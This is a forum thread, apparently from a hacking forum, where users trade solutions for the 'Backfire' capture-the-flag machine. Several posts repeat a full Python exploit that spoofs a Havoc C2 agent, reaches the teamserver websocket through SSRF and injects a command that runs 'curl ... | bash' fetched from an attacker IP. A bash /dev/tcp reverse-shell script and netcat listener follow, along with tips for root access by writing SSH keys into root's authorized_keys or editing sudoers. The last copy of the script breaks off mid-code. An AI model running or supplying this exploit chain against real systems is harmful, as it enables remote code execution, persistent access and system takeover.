[potato_moose]

For user flag



import os
import json
import hashlib
import binascii
import random
import requests
import argparse
import urllib3
from Crypto.Cipher import AES
from Crypto.Util import Counter

urllib3.disable_warnings()

key_bytes = 32

def decrypt(key, iv, ciphertext):
    if len(key) <= key_bytes:
        for _ in range(len(key), key_bytes):
            key += b"0"

    assert len(key) == key_bytes

    iv_int = int(binascii.hexlify(iv), 16)
    ctr = Counter.new(AES.block_size * 8, initial_value=iv_int)
    aes = AES.new(key, AES.MODE_CTR, counter=ctr)

    plaintext = aes.decrypt(ciphertext)
    return plaintext


def int_to_bytes(value, length=4, byteorder="big"):
    return value.to_bytes(length, byteorder)


def encrypt(key, iv, plaintext):
    if len(key) <= key_bytes:
        for x in range(len(key), key_bytes):
            key = key + b"0"

        assert len(key) == key_bytes

        iv_int = int(binascii.hexlify(iv), 16)
        ctr = Counter.new(AES.block_size * 8, initial_value=iv_int)
        aes = AES.new(key, AES.MODE_CTR, counter=ctr)

        ciphertext = aes.encrypt(plaintext)
        return ciphertext

def register_agent(hostname, username, domain_name, internal_ip, process_name, process_id):
    command = b"\x00\x00\x00\x63"
    request_id = b"\x00\x00\x00\x01"
    demon_id = agent_id

    hostname_length = int_to_bytes(len(hostname))
    username_length = int_to_bytes(len(username))
    domain_name_length = int_to_bytes(len(domain_name))
    internal_ip_length = int_to_bytes(len(internal_ip))
    process_name_length = int_to_bytes(len(process_name) - 6)

    data = b"\xab" * 100

    header_data = command + request_id + AES_Key + AES_IV + demon_id + hostname_length + hostname + username_length + username + domain_name_length + domain_name + internal_ip_length + internal_ip + process_name_length + process_name + process_id + data

    size = 12 + len(header_data)
    size_bytes = size.to_bytes(4, 'big')
    agent_header = size_bytes + magic + agent_id
    print(agent_header + header_data)
    print("[***] Trying to register agent...")
    r = requests.post(teamserver_listener_url, data=agent_header + header_data, headers=headers, verify=False)
    if r.status_code == 200:
        print("[***] Success!")
    else:
        print(f"[!!!] Failed to register agent - {r.status_code} {r.text}")


def open_socket(socket_id, target_address, target_port):
    command = b"\x00\x00\x09\xec"
    request_id = b"\x00\x00\x00\x02"
    subcommand = b"\x00\x00\x00\x10"
    sub_request_id = b"\x00\x00\x00\x03"
    local_addr = b"\x22\x22\x22\x22"
    local_port = b"\x33\x33\x33\x33"

    forward_addr = b""
    for octet in target_address.split(".")[::-1]:
        forward_addr += int_to_bytes(int(octet), length=1)

    forward_port = int_to_bytes(target_port)

    package = subcommand + socket_id + local_addr + local_port + forward_addr + forward_port
    package_size = int_to_bytes(len(package) + 4)

    header_data = command + request_id + encrypt(AES_Key, AES_IV, package_size + package)

    size = 12 + len(header_data)
    size_bytes = size.to_bytes(4, 'big')
    agent_header = size_bytes + magic + agent_id
    data = agent_header + header_data

    print("[***] Trying to open socket on the teamserver...")
    r = requests.post(teamserver_listener_url, data=data, headers=headers, verify=False)
    if r.status_code == 200:
        print("[***] Success!")
    else:
        print(f"[!!!] Failed to open socket on teamserver - {r.status_code} {r.text}")


def write_socket(socket_id, data):
    command = b"\x00\x00\x09\xec"
    request_id = b"\x00\x00\x00\x08"
    subcommand = b"\x00\x00\x00\x11"
    sub_request_id = b"\x00\x00\x00\xa1"
    socket_type = b"\x00\x00\x00\x03"
    success = b"\x00\x00\x00\x01"

    data_length = int_to_bytes(len(data))

    package = subcommand + socket_id + socket_type + success + data_length + data
    package_size = int_to_bytes(len(package) + 4)

    header_data = command + request_id + encrypt(AES_Key, AES_IV, package_size + package)


    size = 12 + len(header_data)
    size_bytes = size.to_bytes(4, 'big')
    agent_header = size_bytes + magic + agent_id
    post_data = agent_header + header_data
    print(post_data)
    print("[***] Trying to write to the socket")
    r = requests.post(teamserver_listener_url, data=post_data, headers=headers, verify=False)
    if r.status_code == 200:
        print("[***] Success!")
    else:
        print(f"[!!!] Failed to write data to the socket - {r.status_code} {r.text}")


def read_socket(socket_id):
    command = b"\x00\x00\x00\x01"
    request_id = b"\x00\x00\x00\x09"

    header_data = command + request_id

    size = 12 + len(header_data)
    size_bytes = size.to_bytes(4, 'big')
    agent_header = size_bytes + magic + agent_id
    data = agent_header + header_data

    print("[***] Trying to poll teamserver for socket output...")
    r = requests.post(teamserver_listener_url, data=data, headers=headers, verify=False)
    if r.status_code == 200:
        print("[***] Read socket output successfully!")
    else:
        print(f"[!!!] Failed to read socket output - {r.status_code} {r.text}")
        return ""

    command_id = int.from_bytes(r.content[0:4], "little")
    request_id = int.from_bytes(r.content[4:8], "little")
    package_size = int.from_bytes(r.content[8:12], "little")
    enc_package = r.content[12:]

    return decrypt(AES_Key, AES_IV, enc_package)[12:]


def create_websocket_request(host, port):
    request = (
        f"GET /havoc/ HTTP/1.1\r\n"
        f"Host: {host}:{port}\r\n"
        f"Upgrade: websocket\r\n"
        f"Connection: Upgrade\r\n"
        f"Sec-WebSocket-Key: 5NUvQyzkv9bpu376gKd2Lg==\r\n"
        f"Sec-WebSocket-Version: 13\r\n"
        f"\r\n"
    ).encode()
    return request


def build_websocket_frame(payload):
    payload_bytes = payload.encode("utf-8")
    frame = bytearray()
    frame.append(0x81)
    payload_length = len(payload_bytes)
    if payload_length <= 125:
        frame.append(0x80 | payload_length)
    elif payload_length <= 65535:
        frame.append(0x80 | 126)
        frame.extend(payload_length.to_bytes(2, byteorder="big"))
    else:
        frame.append(0x80 | 127)
        frame.extend(payload_length.to_bytes(8, byteorder="big"))

    masking_key = os.urandom(4)
    frame.extend(masking_key)
    masked_payload = bytearray(byte ^ masking_key[i % 4] for i, byte in enumerate(payload_bytes))
    frame.extend(masked_payload)

    return frame


parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", help="The listener target in URL format", required=True)
parser.add_argument("-i", "--ip", help="The IP to open the socket with", required=True)
parser.add_argument("-p", "--port", help="The port to open the socket with", required=True)
parser.add_argument("-A", "--user-agent", help="The User-Agent for the spoofed agent", default="Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36")
parser.add_argument("-H", "--hostname", help="The hostname for the spoofed agent", default="DESKTOP-7F61JT1")
parser.add_argument("-u", "--username", help="The username for the spoofed agent", default="Administrator")
parser.add_argument("-d", "--domain-name", help="The domain name for the spoofed agent", default="ECORP")
parser.add_argument("-n", "--process-name", help="The process name for the spoofed agent", default="msedge.exe")
parser.add_argument("-ip", "--internal-ip", help="The internal ip for the spoofed agent", default="10.1.33.7")

args = parser.parse_args()

magic = b"\xde\xad\xbe\xef"
teamserver_listener_url = args.target
headers = {
    "User-Agent": args.user_agent
}
agent_id = int_to_bytes(random.randint(100000, 1000000))
AES_Key = b"\x00" * 32
AES_IV = b"\x00" * 16
hostname = bytes(args.hostname, encoding="utf-8")
username = bytes(args.username, encoding="utf-8")
domain_name = bytes(args.domain_name, encoding="utf-8")
internal_ip = bytes(args.internal_ip, encoding="utf-8")
process_name = args.process_name.encode("utf-16le")
process_id = int_to_bytes(random.randint(1000, 5000))


register_agent(hostname, username, domain_name, internal_ip, process_name, process_id)

socket_id = b"\x11\x11\x11\x11"
open_socket(socket_id, args.ip, int(args.port))

USER = "ilya"
PASSWORD = "CobaltStr1keSuckz!"
host = "127.0.0.1"
port = 40056
websocket_request = create_websocket_request(host, port)
write_socket(socket_id, websocket_request)
response = read_socket(socket_id)
payload = {"Body": {"Info": {"Password": hashlib.sha3_256(PASSWORD.encode()).hexdigest(), "User": USER}, "SubEvent": 3}, "Head": {"Event": 1, "OneTime": "", "Time": "18:40:17", "User": USER}}
payload_json = json.dumps(payload)
frame = build_websocket_frame(payload_json)
write_socket(socket_id, frame)
response = read_socket(socket_id)

payload = {"Body":{"Info":{"Headers":"","HostBind":"0.0.0.0","HostHeader":"","HostRotation":"round-robin","Hosts":"0.0.0.0","Name":"abc","PortBind":"443","PortConn":"443","Protocol":"Https","Proxy Enabled":"false","Secure":"true","Status":"online","Uris":"","UserAgent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"},"SubEvent":1},"Head":{"Event":2,"OneTime":"","Time":"08:39:18","User": USER}}
payload_json = json.dumps(payload)
frame = build_websocket_frame(payload_json)
write_socket(socket_id, frame)
response = read_socket(socket_id)

cmd = "curl http://10.10.14.38:8000/payload.sh | bash"
injection = """ \\\\\\\" -mbla; """ + cmd + """ 1>&2 && false #"""
payload = {"Body": {"Info": {"AgentType": "Demon", "Arch": "x64", "Config": "{\n    \"Amsi/Etw Patch\": \"None\",\n    \"Indirect Syscall\": false,\n    \"Injection\": {\n        \"Alloc\": \"Native/Syscall\",\n        \"Execute\": \"Native/Syscall\",\n        \"Spawn32\": \"C:\\\\Windows\\\\SysWOW64\\\\notepad.exe\",\n        \"Spawn64\": \"C:\\\\Windows\\\\System32\\\\notepad.exe\"\n    },\n    \"Jitter\": \"0\",\n    \"Proxy Loading\": \"None (LdrLoadDll)\",\n    \"Service Name\":\"" + injection + "\",\n    \"Sleep\": \"2\",\n    \"Sleep Jmp Gadget\": \"None\",\n    \"Sleep Technique\": \"WaitForSingleObjectEx\",\n    \"Stack Duplication\": false\n}\n", "Format": "Windows Service Exe", "Listener": "abc"}, "SubEvent": 2}, "Head": {
"Event": 5, "OneTime": "true", "Time": "18:39:04", "User": USER}}
payload_json = json.dumps(payload)
frame = build_websocket_frame(payload_json)
write_socket(socket_id, frame)
response = read_socket(socket_id)



Then

create
Payload.sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.38/4444 0>&1

python3 rce.py --target https://10.10.11.49/ -i 127.0.0.1 -p 40056

python3 -m http.server 8000

nc -lvnp 4444

Great job thank you very much!!!

Awesome, dude!
Much appreciated!

[Aditya]

how to get the root shell

https://www.shielder.com/blog/2024/09/a-...scalation/

its giving me permission error

u shouldnt follow the same to rewrite /etc/passwd u should write the authorized_keys in root directory to add ur pub key then connect with ur key

got it finally

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching.

[BFischer]

The dude who made /etc/sudoers trick thanks mate <3

[akorshikai]

I am having trouble keeping the shell alive long enough to enumerate the box to find the ssh keys. Is that how everyone is port forwarding? Or are they doing something else?

There are not any to find. You must add

if you have added just share because m tired of
ilya@10.x.x.x: Permission denied (publickey)

To access via SSH for shell stability, simply: 

ssh-keygen -t rsa -b 4096 -C "name@whatever.htb"

cat id_rsa.pub

Access as Ilya on your other nc shell, and navigate to

~/.ssh

Then simply

echo "ssh-rsa ..." >> authorized_keys

Then you can return to your Kali (or other attacking machine) and

ssh ilya@10.10.11.49 -i id_rsa

[RedBlock]

I am sharing the writeup in a separate thread.

---

here is the writeup

https://breachforums.bf/Thread-Backfire-...rough-root

[0xbeef]

I am sharing the writeup in a separate thread.

---

here is the writeup

https://breachforums.bf/Thread-Backfire-...rough-root

Thank you so much for the help !

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching.

[legacyuser00001]

For user flag



import os
import json
import hashlib
import binascii
import random
import requests
import argparse
import urllib3
from Crypto.Cipher import AES
from Crypto.Util import Counter

urllib3.disable_warnings()

key_bytes = 32

def decrypt(key, iv, ciphertext):
    if len(key) <= key_bytes:
        for _ in range(len(key), key_bytes):
            key += b"0"

    assert len(key) == key_bytes

    iv_int = int(binascii.hexlify(iv), 16)
    ctr = Counter.new(AES.block_size * 8, initial_value=iv_int)
    aes = AES.new(key, AES.MODE_CTR, counter=ctr)

    plaintext = aes.decrypt(ciphertext)
    return plaintext


def int_to_bytes(value, length=4, byteorder="big"):
    return value.to_bytes(length, byteorder)


def encrypt(key, iv, plaintext):
    if len(key) <= key_bytes:
        for x in range(len(key), key_bytes):
            key = key + b"0"

        assert len(key) == key_bytes

        iv_int = int(binascii.hexlify(iv), 16)
        ctr = Counter.new(AES.block_size * 8, initial_value=iv_int)
        aes = AES.new(key, AES.MODE_CTR, counter=ctr)

        ciphertext = aes.encrypt(plaintext)
        return ciphertext

def register_agent(hostname, username, domain_name, internal_ip, process_name, process_id):
    command = b"\x00\x00\x00\x63"
    request_id = b"\x00\x00\x00\x01"
    demon_id = agent_id

    hostname_length = int_to_bytes(len(hostname))
    username_length = int_to_bytes(len(username))
    domain_name_length = int_to_bytes(len(domain_name))
    internal_ip_length = int_to_bytes(len(internal_ip))
    process_name_length = int_to_bytes(len(process_name) - 6)

    data = b"\xab" * 100

    header_data = command + request_id + AES_Key + AES_IV + demon_id + hostname_length + hostname + username_length + username + domain_name_length + domain_name + internal_ip_length + internal_ip + process_name_length + process_name + process_id + data

    size = 12 + len(header_data)
    size_bytes = size.to_bytes(4, 'big')
    agent_header = size_bytes + magic + agent_id
    print(agent_header + header_data)
    print("[***] Trying to register agent...")
    r = requests.post(teamserver_listener_url, data=agent_header + header_data, headers=headers, verify=False)
    if r.status_code == 200:
        print("[***] Success!")
    else:
        print(f"[!!!] Failed to register agent - {r.status_code} {r.text}")


def open_socket(socket_id, target_address, target_port):
    command = b"\x00\x00\x09\xec"
    request_id = b"\x00\x00\x00\x02"
    subcommand = b"\x00\x00\x00\x10"
    sub_request_id = b"\x00\x00\x00\x03"
    local_addr = b"\x22\x22\x22\x22"
    local_port = b"\x33\x33\x33\x33"

    forward_addr = b""
    for octet in target_address.split(".")[::-1]:
        forward_addr += int_to_bytes(int(octet), length=1)

    forward_port = int_to_bytes(target_port)

    package = subcommand + socket_id + local_addr + local_port + forward_addr + forward_port
    package_size = int_to_bytes(len(package) + 4)

    header_data = command + request_id + encrypt(AES_Key, AES_IV, package_size + package)

    size = 12 + len(header_data)
    size_bytes = size.to_bytes(4, 'big')
    agent_header = size_bytes + magic + agent_id
    data = agent_header + header_data

    print("[***] Trying to open socket on the teamserver...")
    r = requests.post(teamserver_listener_url, data=data, headers=headers, verify=False)
    if r.status_code == 200:
        print("[***] Success!")
    else:
        print(f"[!!!] Failed to open socket on teamserver - {r.status_code} {r.text}")


def write_socket(socket_id, data):
    command = b"\x00\x00\x09\xec"
    request_id = b"\x00\x00\x00\x08"
    subcommand = b"\x00\x00\x00\x11"
    sub_request_id = b"\x00\x00\x00\xa1"
    socket_type = b"\x00\x00\x00\x03"
    success = b"\x00\x00\x00\x01"

    data_length = int_to_bytes(len(data))

    package = subcommand + socket_id + socket_type + success + data_length + data
    package_size = int_to_bytes(len(package) + 4)

    header_data = command + request_id + encrypt(AES_Key, AES_IV, package_size + package)


    size = 12 + len(header_data)
    size_bytes = size.to_bytes(4, 'big')
    agent_header = size_bytes + magic + agent_id
    post_data = agent_header + header_data
    print(post_data)
    print("[***] Trying to write to the socket")
    r = requests.post(teamserver_listener_url, data=post_data, headers=headers, verify=False)
    if r.status_code == 200:
        print("[***] Success!")
    else:
        print(f"[!!!] Failed to write data to the socket - {r.status_code} {r.text}")


def read_socket(socket_id):
    command = b"\x00\x00\x00\x01"
    request_id = b"\x00\x00\x00\x09"

    header_data = command + request_id

    size = 12 + len(header_data)
    size_bytes = size.to_bytes(4, 'big')
    agent_header = size_bytes + magic + agent_id
    data = agent_header + header_data

    print("[***] Trying to poll teamserver for socket output...")
    r = requests.post(teamserver_listener_url, data=data, headers=headers, verify=False)
    if r.status_code == 200:
        print("[***] Read socket output successfully!")
    else:
        print(f"[!!!] Failed to read socket output - {r.status_code} {r.text}")
        return ""

    command_id = int.from_bytes(r.content[0:4], "little")
    request_id = int.from_bytes(r.content[4:8], "little")
    package_size = int.from_bytes(r.content[8:12], "little")
    enc_package = r.content[12:]

    return decrypt(AES_Key, AES_IV, enc_package)[12:]


def create_websocket_request(host, port):
    request = (
        f"GET /havoc/ HTTP/1.1\r\n"
        f"Host: {host}:{port}\r\n"
        f"Upgrade: websocket\r\n"
        f"Connection: Upgrade\r\n"
        f"Sec-WebSocket-Key: 5NUvQyzkv9bpu376gKd2Lg==\r\n"
        f"Sec-WebSocket-Version: 13\r\n"
        f"\r\n"
    ).encode()
    return request


def build_websocket_frame(payload):
    payload_bytes = payload.encode("utf-8")
    frame = bytearray()
    frame.append(0x81)
    payload_length = len(payload_bytes)
    if payload_length <= 125:
        frame.append(0x80 | payload_length)
    elif payload_length <= 65535:
        frame.append(0x80 | 126)
        frame.extend(payload_length.to_bytes(2, byteorder="big"))
    else:
        frame.append(0x80 | 127)
        frame.extend(payload_length.to_bytes(8, byteorder="big"))

    masking_key = os.urandom(4)
    frame.extend(masking_key)
    masked_payload = bytearray(byte ^ masking_key[i % 4] for i, byte in enumerate(payload_bytes))
    frame.extend(masked_payload)

    return frame


parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", help="The listener target in URL format", required=True)
parser.add_argument("-i", "--ip", help="The IP to open the socket with", required=True)
parser.add_argument("-p", "--port", help="The port to open the socket with", required=True)
parser.add_argument("-A", "--user-agent", help="The User-Agent for the spoofed agent", default="Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36")
parser.add_argument("-H", "--hostname", help="The hostname for the spoofed agent", default="DESKTOP-7F61JT1")
parser.add_argument("-u", "--username", help="The username for the spoofed agent", default="Administrator")
parser.add_argument("-d", "--domain-name", help="The domain name for the spoofed agent", default="ECORP")
parser.add_argument("-n", "--process-name", help="The process name for the spoofed agent", default="msedge.exe")
parser.add_argument("-ip", "--internal-ip", help="The internal ip for the spoofed agent", default="10.1.33.7")

args = parser.parse_args()

magic = b"\xde\xad\xbe\xef"
teamserver_listener_url = args.target
headers = {
    "User-Agent": args.user_agent
}
agent_id = int_to_bytes(random.randint(100000, 1000000))
AES_Key = b"\x00" * 32
AES_IV = b"\x00" * 16
hostname = bytes(args.hostname, encoding="utf-8")
username = bytes(args.username, encoding="utf-8")
domain_name = bytes(args.domain_name, encoding="utf-8")
internal_ip = bytes(args.internal_ip, encoding="utf-8")
process_name = args.process_name.encode("utf-16le")
process_id = int_to_bytes(random.randint(1000, 5000))


register_agent(hostname, username, domain_name, internal_ip, process_name, process_id)

socket_id = b"\x11\x11\x11\x11"
open_socket(socket_id, args.ip, int(args.port))

USER = "ilya"
PASSWORD = "CobaltStr1keSuckz!"
host = "127.0.0.1"
port = 40056
websocket_request = create_websocket_request(host, port)
write_socket(socket_id, websocket_request)
response = read_socket(socket_id)
payload = {"Body": {"Info": {"Password": hashlib.sha3_256(PASSWORD.encode()).hexdigest(), "User": USER}, "SubEvent": 3}, "Head": {"Event": 1, "OneTime": "", "Time": "18:40:17", "User": USER}}
payload_json = json.dumps(payload)
frame = build_websocket_frame(payload_json)
write_socket(socket_id, frame)
response = read_socket(socket_id)

payload = {"Body":{"Info":{"Headers":"","HostBind":"0.0.0.0","HostHeader":"","HostRotation":"round-robin","Hosts":"0.0.0.0","Name":"abc","PortBind":"443","PortConn":"443","Protocol":"Https","Proxy Enabled":"false","Secure":"true","Status":"online","Uris":"","UserAgent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"},"SubEvent":1},"Head":{"Event":2,"OneTime":"","Time":"08:39:18","User": USER}}
payload_json = json.dumps(payload)
frame = build_websocket_frame(payload_json)
write_socket(socket_id, frame)
response = read_socket(socket_id)

cmd = "curl http://10.10.14.38:8000/payload.sh | bash"
injection = """ \\\\\\\" -mbla; """ + cmd + """ 1>&2 && false #"""
payload = {"Body": {"Info": {"AgentType": "Demon", "Arch": "x64", "Config": "{\n    \"Amsi/Etw Patch\": \"None\",\n    \"Indirect Syscall\": false,\n    \"Injection\": {\n        \"Alloc\": \"Native/Syscall\",\n        \"Execute\": \"Native/Syscall\",\n        \"Spawn32\": \"C:\\\\Windows\\\\SysWOW64\\\\notepad.exe\",\n        \"Spawn64\": \"C:\\\\Windows\\\\System32\\\\notepad.exe\"\n    },\n    \"Jitter\": \"0\",\n    \"Proxy Loading\": \"None (LdrLoadDll)\",\n    \"Service Name\":\"" + injection + "\",\n    \"Sleep\": \"2\",\n    \"Sleep Jmp Gadget\": \"None\",\n    \"Sleep Technique\": \"WaitForSingleObjectEx\",\n    \"Stack Duplication\": false\n}\n", "Format": "Windows Service Exe", "Listener": "abc"}, "SubEvent": 2}, "Head": {
"Event": 5, "OneTime": "true", "Time": "18:39:04", "User": USER}}
payload_json = json.dumps(payload)
frame = build_websocket_frame(payload_json)
write_socket(socket_id, frame)
response = read_socket(socket_id)



Then

create
Payload.sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.38/4444 0>&1

python3 rce.py --target https://10.10.11.49/ -i 127.0.0.1 -p 40056

python3 -m http.server 8000

nc -lvnp 4444

How were you able to find this information?
f"Sec-WebSocket-Key: 5NUvQyzkv9bpu376gKd2Lg==\r\n"
f"Sec-WebSocket-Version: 13\r\n"

[Stuub]

For user flag



import os
import json
import hashlib
import binascii
import random
import requests
import argparse
import urllib3
from Crypto.Cipher import AES
from Crypto.Util import Counter

urllib3.disable_warnings()

key_bytes = 32

def decrypt(key, iv, ciphertext):
    if len(key) <= key_bytes:
        for _ in range(len(key), key_bytes):
            key += b"0"

    assert len(key) == key_bytes

    iv_int = int(binascii.hexlify(iv), 16)
    ctr = Counter.new(AES.block_size * 8, initial_value=iv_int)
    aes = AES.new(key, AES.MODE_CTR, counter=ctr)

    plaintext = aes.decrypt(ciphertext)
    return plaintext


def int_to_bytes(value, length=4, byteorder="big"):
    return value.to_bytes(length, byteorder)


def encrypt(key, iv, plaintext):
    if len(key) <= key_bytes:
        for x in range(len(key), key_bytes):
            key = key + b"0"

        assert len(key) == key_bytes

        iv_int = int(binascii.hexlify(iv), 16)
        ctr = Counter.new(AES.block_size * 8, initial_value=iv_int)
        aes = AES.new(key, AES.MODE_CTR, counter=ctr)

        ciphertext = aes.encrypt(plaintext)
        return ciphertext

def register_agent(hostname, username, domain_name, internal_ip, process_name, process_id):
    command = b"\x00\x00\x00\x63"
    request_id = b"\x00\x00\x00\x01"
    demon_id = agent_id

    hostname_length = int_to_bytes(len(hostname))
    username_length = int_to_bytes(len(username))
    domain_name_length = int_to_bytes(len(domain_name))
    internal_ip_length = int_to_bytes(len(internal_ip))
    process_name_length = int_to_bytes(len(process_name) - 6)

    data = b"\xab" * 100

    header_data = command + request_id + AES_Key + AES_IV + demon_id + hostname_length + hostname + username_length + username + domain_name_length + domain_name + internal_ip_length + internal_ip + process_name_length + process_name + process_id + data

    size = 12 + len(header_data)
    size_bytes = size.to_bytes(4, 'big')
    agent_header = size_bytes + magic + agent_id
    print(agent_header + header_data)
    print("[***] Trying to register agent...")
    r = requests.post(teamserver_listener_url, data=agent_header + header_data, headers=headers, verify=False)
    if r.status_code == 200:
        print("[***] Success!")
    else:
        print(f"[!!!] Failed to register agent - {r.status_code} {r.text}")


def open_socket(socket_id, target_address, target_port):
    command = b"\x00\x00\x09\xec"
    request_id = b"\x00\x00\x00\x02"
    subcommand = b"\x00\x00\x00\x10"
    sub_request_id = b"\x00\x00\x00\x03"
    local_addr = b"\x22\x22\x22\x22"
    local_port = b"\x33\x33\x33\x33"

    forward_addr = b""
    for octet in target_address.split(".")[::-1]:
        forward_addr += int_to_bytes(int(octet), length=1)

    forward_port = int_to_bytes(target_port)

    package = subcommand + socket_id + local_addr + local_port + forward_addr + forward_port
    package_size = int_to_bytes(len(package) + 4)

    header_data = command + request_id + encrypt(AES_Key, AES_IV, package_size + package)

    size = 12 + len(header_data)
    size_bytes = size.to_bytes(4, 'big')
    agent_header = size_bytes + magic + agent_id
    data = agent_header + header_data

    print("[***] Trying to open socket on the teamserver...")
    r = requests.post(teamserver_listener_url, data=data, headers=headers, verify=False)
    if r.status_code == 200:
        print("[***] Success!")
    else:
        print(f"[!!!] Failed to open socket on teamserver - {r.status_code} {r.text}")


def write_socket(socket_id, data):
    command = b"\x00\x00\x09\xec"
    request_id = b"\x00\x00\x00\x08"
    subcommand = b"\x00\x00\x00\x11"
    sub_request_id = b"\x00\x00\x00\xa1"
    socket_type = b"\x00\x00\x00\x03"
    success = b"\x00\x00\x00\x01"

    data_length = int_to_bytes(len(data))

    package = subcommand + socket_id + socket_type + success + data_length + data
    package_size = int_to_bytes(len(package) + 4)

    header_data = command + request_id + encrypt(AES_Key, AES_IV, package_size + package)


    size = 12 + len(header_data)
    size_bytes = size.to_bytes(4, 'big')
    agent_header = size_bytes + magic + agent_id
    post_data = agent_header + header_data
    print(post_data)
    print("[***] Trying to write to the socket")
    r = requests.post(teamserver_listener_url, data=post_data, headers=headers, verify=False)
    if r.status_code == 200:
        print("[***] Success!")
    else:
        print(f"[!!!] Failed to write data to the socket - {r.status_code} {r.text}")


def read_socket(socket_id):
    command = b"\x00\x00\x00\x01"
    request_id = b"\x00\x00\x00\x09"

    header_data = command + request_id

    size = 12 + len(header_data)
    size_bytes = size.to_bytes(4, 'big')
    agent_header = size_bytes + magic + agent_id
    data = agent_header + header_data

    print("[***] Trying to poll teamserver for socket output...")
    r = requests.post(teamserver_listener_url, data=data, headers=headers, verify=False)
    if r.status_code == 200:
        print("[***] Read socket output successfully!")
    else:
        print(f"[!!!] Failed to read socket output - {r.status_code} {r.text}")
        return ""

    command_id = int.from_bytes(r.content[0:4], "little")
    request_id = int.from_bytes(r.content[4:8], "little")
    package_size = int.from_bytes(r.content[8:12], "little")
    enc_package = r.content[12:]

    return decrypt(AES_Key, AES_IV, enc_package)[12:]


def create_websocket_request(host, port):
    request = (
        f"GET /havoc/ HTTP/1.1\r\n"
        f"Host: {host}:{port}\r\n"
        f"Upgrade: websocket\r\n"
        f"Connection: Upgrade\r\n"
        f"Sec-WebSocket-Key: 5NUvQyzkv9bpu376gKd2Lg==\r\n"
        f"Sec-WebSocket-Version: 13\r\n"
        f"\r\n"
    ).encode()
    return request


def build_websocket_frame(payload):
    payload_bytes = payload.encode("utf-8")
    frame = bytearray()
    frame.append(0x81)
    payload_length = len(payload_bytes)
    if payload_length <= 125:
        frame.append(0x80 | payload_length)
    elif payload_length <= 65535:
        frame.append(0x80 | 126)
        frame.extend(payload_length.to_bytes(2, byteorder="big"))
    else:
        frame.append(0x80 | 127)
        frame.extend(payload_length.to_bytes(8, byteorder="big"))

    masking_key = os.urandom(4)
    frame.extend(masking_key)
    masked_payload = bytearray(byte ^ masking_key[i % 4] for i, byte in enumerate(payload_bytes))
    frame.extend(masked_payload)

    return frame


parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", help="The listener target in URL format", required=True)
parser.add_argument("-i", "--ip", help="The IP to open the socket with", required=True)
parser.add_argument("-p", "--port", help="The port to open the socket with", required=True)
parser.add_argument("-A", "--user-agent", help="The User-Agent for the spoofed agent", default="Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36")
parser.add_argument("-H", "--hostname", help="The hostname for the spoofed agent", default="DESKTOP-7F61JT1")
parser.add_argument("-u", "--username", help="The username for the spoofed agent", default="Administrator")
parser.add_argument("-d", "--domain-name", help="The domain name for the spoofed agent", default="ECORP")
parser.add_argument("-n", "--process-name", help="The process name for the spoofed agent", default="msedge.exe")
parser.add_argument("-ip", "--internal-ip", help="The internal ip for the spoofed agent", default="10.1.33.7")

args = parser.parse_args()

magic = b"\xde\xad\xbe\xef"
teamserver_listener_url = args.target
headers = {
    "User-Agent": args.user_agent
}
agent_id = int_to_bytes(random.randint(100000, 1000000))
AES_Key = b"\x00" * 32
AES_IV = b"\x00" * 16
hostname = bytes(args.hostname, encoding="utf-8")
username = bytes(args.username, encoding="utf-8")
domain_name = bytes(args.domain_name, encoding="utf-8")
internal_ip = bytes(args.internal_ip, encoding="utf-8")
process_name = args.process_name.encode("utf-16le")
process_id = int_to_bytes(random.randint(1000, 5000))


register_agent(hostname, username, domain_name, internal_ip, process_name, process_id)

socket_id = b"\x11\x11\x11\x11"
open_socket(socket_id, args.ip, int(args.port))

USER = "ilya"
PASSWORD = "CobaltStr1keSuckz!"
host = "127.0.0.1"
port = 40056
websocket_request = create_websocket_request(host, port)
write_socket(socket_id, websocket_request)
response = read_socket(socket_id)
payload = {"Body": {"Info": {"Password": hashlib.sha3_256(PASSWORD.encode()).hexdigest(), "User": USER}, "SubEvent": 3}, "Head": {"Event": 1, "OneTime": "", "Time": "18:40:17", "User": USER}}
payload_json = json.dumps(payload)
frame = build_websocket_frame(payload_json)
write_socket(socket_id, frame)
response = read_socket(socket_id)

payload = {"Body":{"Info":{"Headers":"","HostBind":"0.0.0.0","HostHeader":"","HostRotation":"round-robin","Hosts":"0.0.0.0","Name":"abc","PortBind":"443","PortConn":"443","Protocol":"Https","Proxy Enabled":"false","Secure":"true","Status":"online","Uris":"","UserAgent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"},"SubEvent":1},"Head":{"Event":2,"OneTime":"","Time":"08:39:18","User": USER}}
payload_json = json.dumps(payload)
frame = build_websocket_frame(payload_json)
write_socket(socket_id, frame)
response = read_socket(socket_id)

cmd = "curl http://10.10.14.38:8000/payload.sh | bash"
injection = """ \\\\\\\" -mbla; """ + cmd + """ 1>&2 && false #"""
